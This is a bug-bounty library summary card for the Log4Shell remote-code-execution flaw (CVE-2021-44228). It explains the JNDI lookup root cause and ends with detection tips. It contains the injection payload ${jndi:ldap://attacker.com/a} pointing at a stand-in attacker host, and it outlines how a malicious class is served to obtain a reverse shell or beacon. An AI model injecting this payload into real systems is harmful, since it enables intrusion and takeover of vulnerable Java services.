# Critical RCE Vulnerability: log4j - CVE-2021-44228

Log4j JNDI lookup injection lets a single logged string like ${jndi:ldap://attacker/} trigger remote class loading and RCE across millions of Java apps.

- Payout: Real-world hack
- Severity: critical
- Program: Apache Log4j
- Credited: Huntress
- Disclosed: 2021-12-10
- CVE: CVE-2021-44228
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/critical-rce-vulnerability-log4j-cve-2021-44228
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-critical-rce-vulnerability-log4j-cve-2021-44228
- Tags: domain:web impact:mass-exploit impact:rce kind:incident platform:threat-intel sev:critical tech:java technique:oob-exfil vuln:command-injection vuln:rce

**Target:** Java logging library (log4j) message lookup / JNDI
**Root cause:** log4j message lookup substitution evaluates ${jndi:...} in logged strings, causing the app to fetch and deserialize a remote LDAP-referenced Java class.
**Steps:**
1. Inject `${jndi:ldap://attacker.com/a}` into any logged input (User-Agent, X-Forwarded-For, form field, chat message)
2. log4j parses the lookup and issues an LDAP request to attacker.com
3. Attacker LDAP server returns a referral to an HTTP endpoint serving a malicious Java class
4. Victim JVM loads and executes the class, giving RCE
**Exploitation:** Attacker stands up an LDAP referrer plus HTTP host serving a compiled class and a callback listener; a single logged string (e.g. Minecraft chat message, HTTP header) detonates the payload on the victim JVM, executing arbitrary code such as a reverse shell or Cobalt Strike beacon.
**Escalation:** Spray-and-pray across public-facing services; JNDIExploit tool embeds Base64 commands in the LDAP URL for post-exploitation; jndi:dns:// variant used for exfil/OOB.
**Insight:** Any user-controlled string that reaches a logger is an injection surface when the logging framework supports lookup/substitution syntax; test headers like User-Agent and X-Forwarded-For, not just body fields, and watch for OOB LDAP/DNS callbacks as the detection signal.